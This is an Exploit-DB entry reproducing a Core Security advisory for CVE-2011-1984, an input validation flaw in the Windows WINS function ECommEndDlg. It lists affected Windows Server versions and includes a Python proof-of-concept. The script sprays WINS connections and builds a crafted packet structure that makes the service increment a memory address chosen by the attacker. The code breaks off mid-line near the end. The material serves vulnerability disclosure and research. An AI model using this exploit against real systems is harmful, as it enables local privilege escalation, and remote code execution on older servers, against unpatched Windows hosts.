Exploit-DB #17831
Description: Microsoft WINS - ECommEndDlg Input Validation Error (MS11-035/MS11-070)
Type: dos
Platform: windows
Date: 2011-09-13
Author: Core Security

Exploit:
Core Security - Corelabs Advisory
http://corelabs.coresecurity.com/

MS WINS ECommEndDlg Input Validation Error


1. *Advisory Information*

Title: MS WINS ECommEndDlg Input Validation Error
Advisory ID: CORE-2011-0526
Advisory URL:
http://www.coresecurity.com/content/ms-wins-ecommenddlg-input-validation
Date published: 2011-09-12
Date of last update: 2011-09-12
Vendors contacted: Microsoft
Release mode: Forced release


2. *Vulnerability Information*

Class: Input validation error [CWE-20]
Impact: Code execution
Remotely Exploitable: No
Locally Exploitable: Yes
CVE Name: CVE-2011-1984


3. *Vulnerability Description*

A security vulnerability was discovered in the Windows Internet Name
Service (WINS). The vulnerability could allow elevation of privilege if
a user receives a specially crafted WINS replication packet on an
affected system running the WINS service. An attacker must have valid
logon credentials and be able to log on locally in order to exploit this
vulnerability.

Malicious packets are processed by the vulnerable function
'ECommEndDlg', reported in MS11-035 [1], but this time the pointers
handled by this function are controlled by the attacker.

*Important:* Given that this vulnerability is triggered by sending a
specially crafted packet to the dynamic UDP port of the WINS service
(which is binded to the loopback address '127.0.0.1'), this
vulnerability can result in an elevation of privilege. Despite that, in
old W2003 SP0 systems, the dynamic UDP port is binded to the '0.0.0.0'
address, allowing remote code execution.


4. *Vulnerable packages*

   . Windows Server 2003 SP0, SP1 and SP2.
   . Windows Server 2003 x64 Edition SP2.
   . Windows Server 2003 SP2 for Itanium-based Systems.
   . Windows Server 2008 SP2.
   . Windows Server 2008 x64 Edition SP2.
   . Windows Server 2008 R2 for x64-based Systems.
   . Other versions and platforms are probably affected too, but they
were no checked.


5. *Non-vulnerable packages*

   . Windows XP SP3.
   . Windows XP Professional x64 Edition SP2.
   . Windows Vista SP2.
   . Windows Vista x64 Edition SP2.
   . Windows Server 2008 for Itanium-based Systems SP2.
   . Windows 7.
   . Windows 7 for x64-based Systems.
   . Windows Server 2008 R2 for Itanium-based systems.


6. *Credits*

This vulnerability was discovered and researched by Nicolas Economou
from Core Security Exploit Writers Team. The publication of this
advisory was coordinated by Fernando Miranda from Core Security
Advisories Team.


7. *Technical Description / Proof of Concept Code*

7.1. *Proof of Concept*

The following PoC was tested on WINS 5.2.3790.4849, W2003 SP2. This
Python code generates 300 TCP connections to the 42 port (the limit of
active WINS connections), and sends an UDP packet to the dynamic port
handled by WINS. The packet is processed by the vulnerable function
'ECommEndDlg', reported in MS11-035 [1], but this time the pointers
handled by this function are controlled by the attacker. As a result,
this code increments +1 the memory address passed through the command
line. For example, the memory address 0x10c00 is typically mapped in the
WINS process and it can be used.

/-----
##

import sys
import socket
import struct
import time
import os

from ctypes import *
from ctypes.wintypes import DWORD

LocalFree = windll.kernel32.LocalFree
CryptProtectData = windll.crypt32.CryptProtectData
CryptUnprotectData = windll.crypt32.CryptUnprotectData
memcpy = cdll.msvcrt.memcpy

CRYPTPROTECT_LOCAL_MACHINE = 0x04

class DATA_BLOB(Structure):
     _fields_ = [("cbData", DWORD), ("pbData", POINTER(c_char))]


def get_data(blob):
     cbData = int(blob.cbData)
     pbData = blob.pbData
     buffer = c_buffer(cbData)
     memcpy(buffer, pbData, cbData)
     LocalFree(pbData);
     return buffer.raw

def Win32CryptProtectData(plain):
     buffer = c_buffer(plain, len(plain))
     iblob = DATA_BLOB(len(plain), buffer)
     oblob = DATA_BLOB()
     if CryptProtectData(byref(iblob), u"win32crypto.py", None, None,
None, CRYPTPROTECT_LOCAL_MACHINE, byref(oblob)):
         return get_data(oblob)
     else:
         return None

def send_packet (sock, ip, port, message):
    packet = ""
    packet += message
    sock.sendto(packet, (ip, port))

################################################################################

# Check args
if len(sys.argv) != 4:
    print "\nusage: python wins_poc.py wins_tcp_dynamic_port
wins_udp_dynamic_port writeable_address(hex)"
    print "\nNote: On Windows 2003, the udp dynamic port is the same
number of the tcp port less one"
    sys.exit(0)

# Get ports dinamically
tcp_dynamic_port = int(sys.argv[1])
udp_dynamic_port = int(sys.argv[2])
writeable_address = int(sys.argv[3], 16)

# Target IP
target_ip = "127.0.0.1"

################################################################################

# Create connections to do a heap spray
rpc_connections = []
for i in range(0, 1000):
    try:
        p = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        p.connect((target_ip, tcp_dynamic_port))
        rpc_connections += [p]
    except Exception, e:
        break

# Struct that is validated by WINS
magic_struct  = ""
magic_struct += "a" * 0x0c
magic_struct += struct.pack("I", writeable_address-0x14)
magic_struct += struct.pack("I", 0)
magic_struct += struct.pack("I", 4)
magic_struct += "b" * (0x20-len(magic_struct))
magic_struct += struct.pack("I", 1)
magic_struct += "c" * (0x2c-len(magic_struct))
magic_struct += struct.pack("I", 0x10c00)
magic_struct += "d" * (0x38-len(magic_struct))
magic_struct += struct.pack("I", 0)

# Data con la forma de la estructura que triggerea el bug
data  = ""
data += magic_struct
data += "B" * (0x4000-len(data))
data += "filling"

# Create connections to do a heap spray
for p in rpc_connections:
    try:
        p.se